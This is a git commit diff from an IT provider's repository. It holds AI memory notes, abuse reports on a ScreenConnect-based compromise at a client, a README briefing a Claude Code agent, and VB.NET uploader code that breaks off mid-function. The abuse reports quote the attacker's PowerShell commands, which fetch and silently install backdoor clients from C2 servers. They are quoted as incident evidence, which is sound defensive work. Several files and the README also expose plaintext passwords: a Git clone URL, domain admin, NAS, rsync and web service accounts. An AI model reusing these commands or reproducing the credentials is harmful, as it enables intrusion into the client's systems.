Compare commits
3 Commits
9011670fce
...
b83d34ba50
| Author | SHA1 | Date | |
|---|---|---|---|
|
b83d34ba50 | ||
|
|
ece3222d3a | ||
|
|
d7d9f72fc6 |
@@ -21,3 +21,5 @@
|
||||
- [Audio Processor Architecture](project_audio_processor_architecture.md) - Segment-first pipeline: detect breaks before transcription for complete content capture
|
||||
- [Neptune Email Routing Issues](project_email_routing_neptune.md) - Multiple clients (devcon, Sorensen/rieussetcorp) have email not routing properly from Neptune
|
||||
- [Neptune SBR Email Routing Setup](project_neptune_sbr_email_routing.md) - Full SBR routing chain, config file locations, MailProtector integration, access methods
|
||||
- [Dataforth Test Datasheet Pipeline](project_datasheet_pipeline.md) - Full pipeline rebuilt 2026-03-27. Server-side generation replaces DFWDS/Uploader. Website upload still broken.
|
||||
- [Dataforth Security Incident](project_dataforth_incident_2026-03-27.md) - DF-JOEL2 compromised, MFA deployed, IC3 filed. CA policies enforce April 4.
|
||||
|
||||
37
.claude/memory/project_dataforth_incident_2026-03-27.md
Normal file
37
.claude/memory/project_dataforth_incident_2026-03-27.md
Normal file
@@ -0,0 +1,37 @@
|
||||
---
|
||||
name: Dataforth Security Incident 2026-03-27
|
||||
description: DF-JOEL2 compromised via ScreenConnect social engineering. MFA deployed. IC3 filed. C2 IPs blocked. Full remediation completed.
|
||||
type: project
|
||||
---
|
||||
|
||||
## Incident
|
||||
Joel Lohr's workstation (DF-JOEL2, 192.168.0.143) compromised via phishing email to personal Yahoo account. Attacker "Angel Raya" deployed ScreenConnect C2 backdoors. M365 account also compromised from Turkey/UK/Germany.
|
||||
|
||||
## Attacker
|
||||
- C2: 80.76.49.18 and 45.88.91.99 (AS399486, Virtuo, Montreal QC) - SUSPENDED by host
|
||||
- Cloud relay: instance-wlb9ga-relay.screenconnect.com
|
||||
- ConnectWise case: 03464184
|
||||
- IC3 complaint: 1c32ade367084be9acd548f23705736f
|
||||
|
||||
## Remediation
|
||||
- C2 IPs blocked at UDM firewall (iptables - need permanent rules in UniFi UI)
|
||||
- 3 rogue ScreenConnect clients uninstalled
|
||||
- jlohr AD password reset, M365 sessions revoked
|
||||
- 32 machines scanned clean, 28 unreachable (offline)
|
||||
- No lateral movement detected
|
||||
|
||||
## MFA Rollout
|
||||
- 3 CA policies deployed (report-only until April 4, 2026):
|
||||
- Require MFA (skip from office IP 67.206.163.122)
|
||||
- Block foreign sign-ins (US only, MFA-Travel-Bypass group for exceptions)
|
||||
- Block legacy auth
|
||||
- 19/38 users MFA-ready, 19 need to register
|
||||
- MFA notice sent to all users, deadline April 4
|
||||
|
||||
## Joel Lohr
|
||||
- Retiring March 31, 2026
|
||||
- Auto-reply directs contacts to Dan Center (dcenter@dataforth.com)
|
||||
- Account should be disabled after retirement
|
||||
|
||||
**Why:** Active security incident requiring immediate response.
|
||||
**How to apply:** Monitor CA policies in report-only mode, enforce April 4. Check 28 offline machines when available. Add C2 IPs to permanent UDM block list.
|
||||
73
.claude/memory/project_datasheet_pipeline.md
Normal file
73
.claude/memory/project_datasheet_pipeline.md
Normal file
@@ -0,0 +1,73 @@
|
||||
---
|
||||
name: Dataforth Test Datasheet Pipeline - Rebuilt 2026-03-27
|
||||
description: Full pipeline from DOS test stations to website. New server-side generation replaces DFWDS/Uploader. 72/73 Quatronix datasheets generated. AD2 crypto wipe recovery.
|
||||
type: project
|
||||
---
|
||||
|
||||
## Background
|
||||
AD2 (192.168.0.6) was wiped in a crypto/ransomware attack months ago. The test datasheet pipeline was broken. Customer Quatronix (China) blocking shipment of 328 modules (whittled to 54) without datasheets.
|
||||
|
||||
## Pipeline (5 stages, rebuilt 2026-03-27)
|
||||
|
||||
### Stage 1: DOS Test Stations (64 stations)
|
||||
- QuickBASIC programs generate test data -> C:\STAGE on each DOS PC
|
||||
- DAT files (raw test data) + TXT files (formatted datasheets)
|
||||
- CTONW.BAT copies DAT files to NAS (working)
|
||||
- CTONWTXT.BAT copies TXT files (NOT called in current AUTOEXEC v4.1 since 2026-03-12)
|
||||
- TXT files piling up in C:\STAGE since Sept 2025
|
||||
|
||||
### Stage 2: NAS <-> AD2 Sync
|
||||
- Script: C:\Shares\test\scripts\Sync-FromNAS-rsync.ps1 (every 15 min, WORKING)
|
||||
- Rsync daemon on NAS: port 873, module "test", user rsync / IQ203s32119
|
||||
- PULL: DAT files from NAS -> AD2, triggers database import
|
||||
- PUSH: Software updates from AD2 -> NAS for DOS machines
|
||||
|
||||
### Stage 3: TestDataDB (Node.js/SQLite, WORKING)
|
||||
- App: C:\Shares\testdatadb\ (Windows service "testdatadb", auto-start)
|
||||
- API: http://192.168.0.6:3000
|
||||
- Database: C:\Shares\testdatadb\database\testdata.db (2.27M records)
|
||||
- Import: database/import.js (post-import hook calls export)
|
||||
- **NEW: Spec parser** (parsers/spec-reader.js) - reads binary spec DATs, 1470 models
|
||||
- **NEW: Exact-match formatter** (templates/datasheet-exact.js) - reverse-engineered from QB
|
||||
- **NEW: Auto-export** (database/export-datasheets.js) - generates TXT to X:\For_Web
|
||||
|
||||
### Stage 4: WebShare (X: = \\ad2\webshare = C:\Shares\webshare)
|
||||
- X:\Test_Datasheets - incoming (staging for old DFWDS)
|
||||
- X:\For_Web - validated datasheets (501K+ files, pre-2026 archived to year subfolders)
|
||||
- X:\For_Web_PDF - PDF versions (4.7K files)
|
||||
- X:\Bad_Datasheets - invalid files (18K)
|
||||
- X:\Datasheets_Log - DFWDS logs
|
||||
|
||||
### Stage 5: Website Upload (BROKEN)
|
||||
- Old endpoints: dataforth.com/Services/{Uploader,DirectoryManifest,DeleteFile}.aspx - ALL 404
|
||||
- Credentials: DataforthWebShare / Data6277
|
||||
- TestDataSheetUploader (VB.NET, Hoffman) - not running, config pointed to dev paths
|
||||
- Legacy site: legacy.dataforth.com/TestDataReport_Print.aspx (still works, no auth)
|
||||
- New site: dataforth.com/TestDataReport (requires OIDC login)
|
||||
|
||||
## What Was Eliminated by Rebuild
|
||||
- CTONWTXT.BAT (DOS TXT transfer) - no longer needed, server generates from DAT data
|
||||
- DFWDS.exe (VB6 filename decoder) - no longer needed
|
||||
- TestDataSheetUploader (VB.NET web uploader) - endpoints dead anyway
|
||||
|
||||
## Key File Encoding
|
||||
H-prefix decode: A=10, B=11, C=12, D=13, E=14, F=15, G=16, H=17, I=18, J=19
|
||||
Example: H8601-6.TXT -> serial 178601-6
|
||||
New pipeline extracts SN from DAT record data directly, not filenames.
|
||||
|
||||
## Open Items
|
||||
1. Website upload replacement (old ASP.NET endpoints dead)
|
||||
2. 7B datasheet formatting (specs loaded, needs 7B-specific layout, ~830K records)
|
||||
3. SCM5B49 spec file empty - need from John Lehman
|
||||
4. Service permissions (runs as SYSTEM, causes SHM/WAL conflicts)
|
||||
5. New product lines: MAQ20/PWRM (XLS), 10D (JSON, ~May 2026), DSCMHV
|
||||
|
||||
## Key Contacts
|
||||
- John Lehman (jlehman@dataforth.com) - Engineering, QB code, specs
|
||||
- Peter Iliya (pIliya@dataforth.com) - Applications Engineer, manual datasheet retrieval
|
||||
- Ken Hoffman - TestDataSheetUploader author (VB.NET), DFWDS author, unresponsive
|
||||
- Georg Haubner (ghaubner@dataforth.com) - D: drive has pre-crypto backup of network shares
|
||||
- Ginger (gy@quatronix-cn.com) - Quatronix China, customer requesting datasheets
|
||||
|
||||
**Why:** Critical business issue - customer refusing shipments without datasheets.
|
||||
**How to apply:** Pipeline is mostly rebuilt. Priority: website upload replacement, then 7B support.
|
||||
BIN
clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
Normal file
BIN
clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
Normal file
Binary file not shown.
@@ -0,0 +1,67 @@
|
||||
Subject: Abuse Report - ScreenConnect Cloud Instance Used for Unauthorized Access and C2 Deployment
|
||||
|
||||
To: abuse@connectwise.com
|
||||
|
||||
Dear ConnectWise Security/Abuse Team,
|
||||
|
||||
We are reporting a ScreenConnect cloud instance being used to conduct unauthorized access attacks against our client's infrastructure.
|
||||
|
||||
## Offending ScreenConnect Instance
|
||||
|
||||
- **Relay hostname:** instance-wlb9ga-relay.screenconnect.com
|
||||
- **Operator alias:** Angel Raya
|
||||
- **ScreenConnect Client ID:** 0cad93610010625f
|
||||
- **Session GUID:** 8bb6c85a-6cab-46ab-8cad-26f6d2672a03
|
||||
- **Client Version:** 26.1.18.9566
|
||||
|
||||
## Nature of Abuse
|
||||
|
||||
On March 27, 2026, an individual operating under the name "Angel Raya" used the above ScreenConnect cloud instance to gain unauthorized remote access to a victim workstation. Once connected, the operator used the ScreenConnect backstage shell to execute PowerShell commands that:
|
||||
|
||||
1. Downloaded and silently installed two additional ScreenConnect clients from self-hosted C2 servers (80.76.49.18:8040 and 45.88.91.99:8040, both on AS399486 / Virtuo hosting)
|
||||
2. Downloaded a tool to hide the rogue installations from the Windows uninstall list
|
||||
3. Returned later through the self-hosted C2 backdoor under the session name "Administrator"
|
||||
|
||||
## Attack Timeline (March 27, 2026)
|
||||
|
||||
- **08:28** - ScreenConnect client (0cad93610010625f) installed from `C:\Users\jlohr\Downloads\ScreenConnect.ClientSetup.msi`
|
||||
- **08:29** - "Angel Raya" connected via instance-wlb9ga-relay.screenconnect.com
|
||||
- **08:29** - PowerShell commands executed to install two self-hosted ScreenConnect C2 backdoors
|
||||
- **08:31** - "Hide From Uninstall List" tool downloaded and extracted
|
||||
- **08:32** - Tool used to hide rogue ScreenConnect clients from Add/Remove Programs
|
||||
- **08:32** - "Angel Raya" disconnected
|
||||
|
||||
## Commands Executed via Backstage Shell
|
||||
|
||||
The following commands were found in the PowerShell terminal history on the victim machine:
|
||||
|
||||
```
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://80.76.49.18:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://45.88.91.99:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
|
||||
Invoke-WebRequest -Uri "https://www.sordum.org/files/downloads.php?hide-from-uninstall-list" -OutFile "C:\Users\Public\Pictures\Backup.zip"
|
||||
```
|
||||
|
||||
## Additional Context
|
||||
|
||||
- The victim's Microsoft 365 account also showed successful unauthorized sign-ins from Istanbul, Turkey and Croydon, UK, along with sustained brute-force attempts from Germany and Luxembourg over the preceding week.
|
||||
- The self-hosted C2 ScreenConnect MSI packages have build dates of April 8, 2025, suggesting this operation has been active for approximately one year.
|
||||
- The victim was a departing employee (retiring March 31, 2026), which may have been a factor in targeting.
|
||||
|
||||
## Requested Action
|
||||
|
||||
1. Identify and suspend the ScreenConnect cloud account associated with instance-wlb9ga-relay.screenconnect.com
|
||||
2. Preserve all session logs, account registration information, and billing details for this instance
|
||||
3. Share any available information with law enforcement upon request
|
||||
|
||||
This incident is being reported to the FBI IC3 and the hosting provider (Virtuo / AS399486).
|
||||
|
||||
## Reporting Organization
|
||||
|
||||
Arizona Computer Guru, LLC
|
||||
Managed Service Provider
|
||||
Phone: 520-304-8300
|
||||
Email: support@azcomputerguru.com
|
||||
|
||||
Thank you for your prompt response.
|
||||
@@ -0,0 +1,74 @@
|
||||
Subject: Abuse Report - Unauthorized Remote Access C2 Servers on 80.76.49.18 and 45.88.91.99
|
||||
|
||||
To: abuses@virtuo.host
|
||||
CC: noc@virtuo.host
|
||||
|
||||
Dear Virtuo Abuse Department,
|
||||
|
||||
We are reporting two IP addresses on your network that are being used as command-and-control servers for unauthorized remote access attacks against our client's infrastructure.
|
||||
|
||||
## Offending IPs
|
||||
|
||||
- **80.76.49.18** (port 8041)
|
||||
- **45.88.91.99** (port 8041)
|
||||
|
||||
Both IPs are on AS399486 (12651980 CANADA INC. / Virtuo).
|
||||
|
||||
## Nature of Abuse
|
||||
|
||||
These servers are hosting self-hosted ConnectWise ScreenConnect (remote access) instances on port 8040/8041, used to maintain persistent unauthorized access to victim machines. This is not a legitimate use of remote support software -- the clients are deployed silently via PowerShell commands executed during an active social engineering attack, then hidden from the Windows uninstall list using third-party tools.
|
||||
|
||||
## Evidence
|
||||
|
||||
### Attack Timeline (March 27, 2026 - UTC-7)
|
||||
|
||||
1. At approximately 08:28, an attacker using the alias "Angel Raya" connected to the victim machine via a ScreenConnect cloud relay (instance-wlb9ga-relay.screenconnect.com).
|
||||
|
||||
2. At 08:29, the following commands were executed in a PowerShell session on the victim machine to download and silently install ScreenConnect clients from your infrastructure:
|
||||
|
||||
```
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://80.76.49.18:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://45.88.91.99:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
```
|
||||
|
||||
3. The attacker then downloaded a tool from sordum.org ("Hide From Uninstall List") to conceal the rogue ScreenConnect installations from Windows Add/Remove Programs.
|
||||
|
||||
4. At 11:55, a session identified as "Administrator" connected back through the 80.76.49.18 C2 server, confirming the backdoor was actively used for return access.
|
||||
|
||||
### ScreenConnect Service Details
|
||||
|
||||
**Client connecting to 80.76.49.18:**
|
||||
- Service Name: ScreenConnect Client (0dfe1abae029411c)
|
||||
- Session GUID: eec1c861-ec30-4c7a-a8e7-cc8a1dbd5a56
|
||||
- Relay: 80.76.49.18:8041
|
||||
- Version: 25.2.4.9229
|
||||
|
||||
**Client connecting to 45.88.91.99:**
|
||||
- Service Name: ScreenConnect Client (a897d9a21259d116)
|
||||
- Session GUID: 406bd356-cde4-4738-a22f-f776c8097686
|
||||
- Relay: 45.88.91.99:8041
|
||||
- Version: 25.2.4.9229
|
||||
|
||||
### Additional Context
|
||||
|
||||
- The ScreenConnect MSI packages have file timestamps from April 8, 2025, indicating this infrastructure has been used for attacks for approximately one year.
|
||||
- The victim's Microsoft 365 account was also subject to brute-force login attempts from IPs in Germany (45.86.202.x), Luxembourg, and Turkey during the same period, with a successful unauthorized sign-in from Istanbul, Turkey (91.93.232.236) on the same day.
|
||||
|
||||
## Requested Action
|
||||
|
||||
We request that you:
|
||||
1. Immediately suspend the servers at 80.76.49.18 and 45.88.91.99
|
||||
2. Preserve all logs related to these IPs for law enforcement
|
||||
3. Provide any subscriber/billing information to law enforcement upon request
|
||||
|
||||
This incident is being reported to the FBI Internet Crime Complaint Center (IC3) and ConnectWise.
|
||||
|
||||
## Reporting Organization
|
||||
|
||||
Arizona Computer Guru, LLC
|
||||
Managed Service Provider
|
||||
Phone: 520-304-8300
|
||||
Email: support@azcomputerguru.com
|
||||
|
||||
Thank you for your prompt attention to this matter.
|
||||
194
clients/dataforth/dos-test-machines/Test Datasheets/README.md
Normal file
194
clients/dataforth/dos-test-machines/Test Datasheets/README.md
Normal file
@@ -0,0 +1,194 @@
|
||||
# Claude Instance Context: Test Datasheets Investigation (AD1)
|
||||
|
||||
**Purpose:** You are a Claude Code instance running on AD1 (192.168.0.27) at Dataforth's facility. Your job is to investigate the TestDataSheetUploader tool and the test datasheet workflow -- where files come from, where they go, and how this integrates with the DOS test machines.
|
||||
|
||||
**This is a temporary investigation instance.** Once findings are documented and synced to Gitea, this instance will be removed.
|
||||
|
||||
---
|
||||
|
||||
## Your Mission
|
||||
|
||||
1. **Find where test datasheets are generated** -- which machine(s), which software, what path
|
||||
2. **Find where they end up** -- the server-side path is `C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\` on whatever runs www.dataforth.com
|
||||
3. **Determine if this uploader is still in active use** or if the workflow changed
|
||||
4. **Document the full datasheet pipeline** -- from DOS test machine output through to the website
|
||||
5. **Sync your findings back to Gitea** so the coordinator instance can see them
|
||||
|
||||
---
|
||||
|
||||
## Gitea Sync (How to Push Findings)
|
||||
|
||||
The ClaudeTools repo is hosted on Gitea. Clone and push your findings here:
|
||||
|
||||
```bash
|
||||
# Clone the repo
|
||||
git clone https://mike%40azcomputerguru.com:Gptf%2A77ttb123%21%40%23-git@git.azcomputerguru.com/azcomputerguru/claudetools.git
|
||||
cd claudetools
|
||||
|
||||
# Your working area
|
||||
# clients/dataforth/dos-test-machines/Test Datasheets/
|
||||
|
||||
# Commit and push findings
|
||||
git add -A
|
||||
git commit -m "AD1 investigation: test datasheet pipeline findings"
|
||||
git push origin main
|
||||
```
|
||||
|
||||
**Gitea Credentials (plaintext, temporary use only):**
|
||||
- URL: https://git.azcomputerguru.com
|
||||
- User: mike@azcomputerguru.com
|
||||
- Password: Gptf*77ttb123!@#-git
|
||||
|
||||
---
|
||||
|
||||
## Network Context (Dataforth Engineering Network)
|
||||
|
||||
| Device | IP | Role | Credentials |
|
||||
|--------|-----|------|-------------|
|
||||
| AD1 (you are here) | 192.168.0.27 | Primary Domain Controller | INTRANET\sysadmin / Paper123!@# |
|
||||
| AD2 | 192.168.0.6 | Production Server (Win Server 2008 R2) | INTRANET\sysadmin / Paper123!@# |
|
||||
| D2TESTNAS | 192.168.0.9 | TrueNAS, SMB1 proxy for DOS machines | root / (SSH key) or admin / Paper123!@#-nas |
|
||||
| DOS Stations | 192.168.0.x | ~30 DOS 6.22 test machines (TS-XX) | N/A |
|
||||
| UDM Gateway | 192.168.0.254 | UniFi Dream Machine | N/A |
|
||||
|
||||
---
|
||||
|
||||
## What We Already Know About TestDataSheetUploader
|
||||
|
||||
This is a VB.NET console app (.NET Framework 4.7.2) last built November 2, 2022.
|
||||
|
||||
### What it does
|
||||
1. Calls `https://www.dataforth.com/Services/DirectoryManifest.aspx` to get a list of files already on the web server
|
||||
2. Compares local files against that manifest (by filename, size, and last-modified date)
|
||||
3. Uploads new/changed files via `https://www.dataforth.com/Services/Uploader.aspx`
|
||||
4. Deletes files from server that no longer exist locally via `https://www.dataforth.com/Services/DeleteFile.aspx`
|
||||
5. Only processes files modified in the current year
|
||||
|
||||
### Configured paths (from app.config)
|
||||
- **Service auth:** username=DataforthWebShare, password=Data6277
|
||||
- **TestDataSheetPath:** `C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists`
|
||||
- **TestFolderPath:** `C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists`
|
||||
- **InventoryDataStagingFolder:** `C:\TestDataSheetUploader\staging`
|
||||
- **InventoryDataSourceFolder:** `C:\TestDataSheetUploader\src`
|
||||
- **InventoryDataFiles:** AvSelCat.csv, AvSelCus.csv
|
||||
|
||||
### Server-side destination (from error logs)
|
||||
```
|
||||
C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\
|
||||
```
|
||||
|
||||
### Key unknowns -- what you need to find out
|
||||
- **Who is "hoffm"?** Likely a Hoffman who worked at Dataforth. Which machine was this?
|
||||
- **Where do test datasheets originate?** The DOS machines run QuickBASIC data acquisition. Do they produce datasheet files?
|
||||
- **Is there a path from DOS machines -> datasheets?** The DOS machines map `T:` to `\\D2TESTNAS\TEST`. Is there a datasheets share they write to?
|
||||
- **Is the uploader still running?** Scheduled task? Manual? Last used?
|
||||
- **Where does `C:\Users\hoffm\...` map to now?** Did someone take over this role?
|
||||
|
||||
---
|
||||
|
||||
## Investigation Steps
|
||||
|
||||
### On AD1 (this machine)
|
||||
```powershell
|
||||
# Check if TestDataSheetUploader exists anywhere on this machine
|
||||
Get-ChildItem -Path C:\ -Recurse -Filter "TestDataSheetUploader*" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check for Hoffman's profile or traces
|
||||
Get-ChildItem C:\Users\ -Directory
|
||||
Get-ChildItem "C:\Users\hoffm" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check scheduled tasks for anything datasheet-related
|
||||
Get-ScheduledTask | Where-Object { $_.TaskName -like "*data*" -or $_.TaskName -like "*sheet*" -or $_.TaskName -like "*upload*" -or $_.TaskName -like "*sync*" }
|
||||
|
||||
# Check for IIS sites (AD1 might host www.dataforth.com)
|
||||
Import-Module WebAdministration -ErrorAction SilentlyContinue
|
||||
Get-Website -ErrorAction SilentlyContinue
|
||||
Get-ChildItem "C:\inetpub\wwwroot" -ErrorAction SilentlyContinue
|
||||
```
|
||||
|
||||
### On AD2 (192.168.0.6)
|
||||
```powershell
|
||||
# Remote into AD2 and check
|
||||
Invoke-Command -ComputerName 192.168.0.6 -Credential (Get-Credential INTRANET\sysadmin) -ScriptBlock {
|
||||
# Check for the uploader
|
||||
Get-ChildItem -Path C:\ -Recurse -Filter "TestDataSheetUploader*" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check IIS
|
||||
Get-ChildItem "C:\inetpub\wwwroot" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check for the WebShare path from error logs
|
||||
Get-ChildItem "C:\inetpub\wwwroot\dataforth.com\WebShare" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check scheduled tasks
|
||||
Get-ScheduledTask | Where-Object { $_.TaskName -like "*data*" -or $_.TaskName -like "*upload*" }
|
||||
|
||||
# Check user profiles
|
||||
Get-ChildItem C:\Users\ -Directory
|
||||
}
|
||||
```
|
||||
|
||||
### On D2TESTNAS (192.168.0.9)
|
||||
```bash
|
||||
# SSH from AD1 or any machine with access
|
||||
ssh root@192.168.0.9
|
||||
|
||||
# Check datasheets share
|
||||
ls -la /data/datasheets/
|
||||
find /data/ -name "*datasheet*" -o -name "*TestData*" 2>/dev/null
|
||||
|
||||
# Check if DOS machines write any test output files
|
||||
ls -la /data/test/TS-27/
|
||||
find /data/test/ -name "*.pdf" -o -name "*.csv" -o -name "*.dat" 2>/dev/null
|
||||
```
|
||||
|
||||
### Check the Dataforth website services
|
||||
```powershell
|
||||
# Test if the manifest service still responds
|
||||
$cred = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("DataforthWebShare:Data6277"))
|
||||
Invoke-WebRequest -Uri "https://www.dataforth.com/Services/DirectoryManifest.aspx" -Headers @{Authorization="Basic $cred"} -Method GET -ErrorAction SilentlyContinue
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## DOS Test Machine Architecture (Full Context)
|
||||
|
||||
The DOS machines are ~30 stations running DOS 6.22 with QuickBASIC 4.5 data acquisition software.
|
||||
|
||||
```
|
||||
DOS Machines (TS-XX) --SMB1--> D2TESTNAS (192.168.0.9) --SMB2/rsync--> AD2 (192.168.0.6)
|
||||
| /data/test/ C:\Shares\test\
|
||||
| /data/datasheets/ C:\Shares\datasheets (PENDING)
|
||||
|
|
||||
+-- Map T: = \\D2TESTNAS\TEST
|
||||
+-- Run QuickBASIC data acquisition
|
||||
+-- UPDATE.BAT for remote management
|
||||
+-- TODO.BAT for remote task execution
|
||||
```
|
||||
|
||||
**Bidirectional sync** runs every 15 minutes between D2TESTNAS and AD2 via `/root/sync-to-ad2.sh`.
|
||||
|
||||
The datasheets share (`\\D2TESTNAS\datasheets` -> `/data/datasheets/`) exists on D2TESTNAS but the corresponding AD2 share (`\\AD2\datasheets`) was never created -- it's listed as a remaining task. This may be relevant to the test datasheet pipeline.
|
||||
|
||||
---
|
||||
|
||||
## Where to Save Your Findings
|
||||
|
||||
Write your investigation results to:
|
||||
```
|
||||
clients/dataforth/dos-test-machines/Test Datasheets/INVESTIGATION.md
|
||||
```
|
||||
|
||||
Include:
|
||||
- What you found on each machine
|
||||
- The complete datasheet pipeline (or what's missing/broken)
|
||||
- Whether the uploader is still active
|
||||
- Recommendations for what to do next
|
||||
|
||||
Then commit and push to Gitea using the credentials above.
|
||||
|
||||
---
|
||||
|
||||
## Contact
|
||||
|
||||
- **AJ at Dataforth** -- engineering contact, can answer questions about the test workflow
|
||||
- **Coordinator instance** -- will see your findings after you push to Gitea
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "TestDataSheetUploader", "TestDataSheetUploader\TestDataSheetUploader.vbproj", "{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,158 @@
|
||||
Imports System.Text
|
||||
Imports System.Net
|
||||
Imports System.IO
|
||||
|
||||
Public Class HTTPUploader
|
||||
|
||||
|
||||
|
||||
Public Shared Function UploadFile(ByVal url As String, ByVal credentials As Net.NetworkCredential, ByVal localPathFilename As String, ByVal nvc As System.Collections.Specialized.NameValueCollection, ByRef LogMessage As String) As Boolean
|
||||
Try
|
||||
'Return True
|
||||
Dim length As Long = 0
|
||||
'Dim boundary As String = "----------------------------" & Date.Now.Ticks.ToString("x")
|
||||
Dim boundary As String = "----------------------------061366199019971999"
|
||||
|
||||
Dim httpWebRequest2 As HttpWebRequest = WebRequest.Create(url)
|
||||
httpWebRequest2.ContentType = "multipart/form-data; boundary=" & boundary
|
||||
httpWebRequest2.Method = "POST"
|
||||
httpWebRequest2.KeepAlive = True
|
||||
httpWebRequest2.Credentials = credentials
|
||||
httpWebRequest2.Timeout = 900000
|
||||
|
||||
|
||||
Dim memStream As New System.IO.MemoryStream()
|
||||
|
||||
Dim boundarybytes() As Byte = System.Text.Encoding.ASCII.GetBytes(vbCrLf & "--" & boundary & vbCrLf)
|
||||
|
||||
|
||||
Dim formdataTemplate As String = vbCrLf & "--" + boundary & vbCrLf & "Content-Disposition: form-data; name=""{0}"";" & vbCrLf & vbCrLf & "{1}"
|
||||
|
||||
For Each key As String In nvc.Keys
|
||||
Dim formitem As String = String.Format(formdataTemplate, key, nvc(key))
|
||||
Dim formitembytes() As Byte = System.Text.Encoding.UTF8.GetBytes(formitem)
|
||||
memStream.Write(formitembytes, 0, formitembytes.Length)
|
||||
Next
|
||||
|
||||
|
||||
memStream.Write(boundarybytes, 0, boundarybytes.Length)
|
||||
|
||||
Dim headerTemplate As String = "Content-Disposition: form-data; name=""{0}""; filename=""{1}"" " & _
|
||||
"Content-Type: application/octet-stream" & vbCrLf & vbCrLf
|
||||
|
||||
'Content-Type: application/octet-stream
|
||||
|
||||
|
||||
'string header = string.Format(headerTemplate, "file" + i, files[i]);
|
||||
Dim header As String = String.Format(headerTemplate, "file1", localPathFilename)
|
||||
|
||||
Dim headerbytes() As Byte = System.Text.Encoding.UTF8.GetBytes(header)
|
||||
|
||||
memStream.Write(headerbytes, 0, headerbytes.Length)
|
||||
|
||||
|
||||
|
||||
Dim byteArray As Byte() = File.ReadAllBytes(localPathFilename)
|
||||
memStream.Write(byteArray, 0, byteArray.Length)
|
||||
|
||||
memStream.Write(boundarybytes, 0, boundarybytes.Length)
|
||||
|
||||
|
||||
|
||||
httpWebRequest2.ContentLength = memStream.Length + 1
|
||||
|
||||
Dim requestStream As Stream = httpWebRequest2.GetRequestStream()
|
||||
|
||||
memStream.Position = 0
|
||||
Dim tempBuffer(memStream.Length) As Byte
|
||||
memStream.Read(tempBuffer, 0, tempBuffer.Length)
|
||||
memStream.Close()
|
||||
requestStream.Write(tempBuffer, 0, tempBuffer.Length)
|
||||
requestStream.Close()
|
||||
|
||||
Dim webResponse2 As WebResponse = httpWebRequest2.GetResponse()
|
||||
|
||||
Dim stream2 As Stream = webResponse2.GetResponseStream()
|
||||
Dim reader2 As New StreamReader(stream2)
|
||||
|
||||
Dim xmlResponse As String = reader2.ReadToEnd
|
||||
|
||||
webResponse2.Close()
|
||||
httpWebRequest2 = Nothing
|
||||
webResponse2 = Nothing
|
||||
|
||||
|
||||
Dim ds As New DataSet
|
||||
ds.ReadXml(New System.Xml.XmlTextReader(New StringReader(xmlResponse)))
|
||||
|
||||
Dim responseMessage As String = ds.Tables("Result").Rows(0)("Message")
|
||||
If responseMessage = "SUCCESS" Then
|
||||
Dim uploadedFilesize As Long = ds.Tables("Result").Rows(0)("SavedFileSize")
|
||||
If My.Computer.FileSystem.GetFileInfo(localPathFilename).Length = uploadedFilesize Then
|
||||
'we are done
|
||||
Return True
|
||||
Else
|
||||
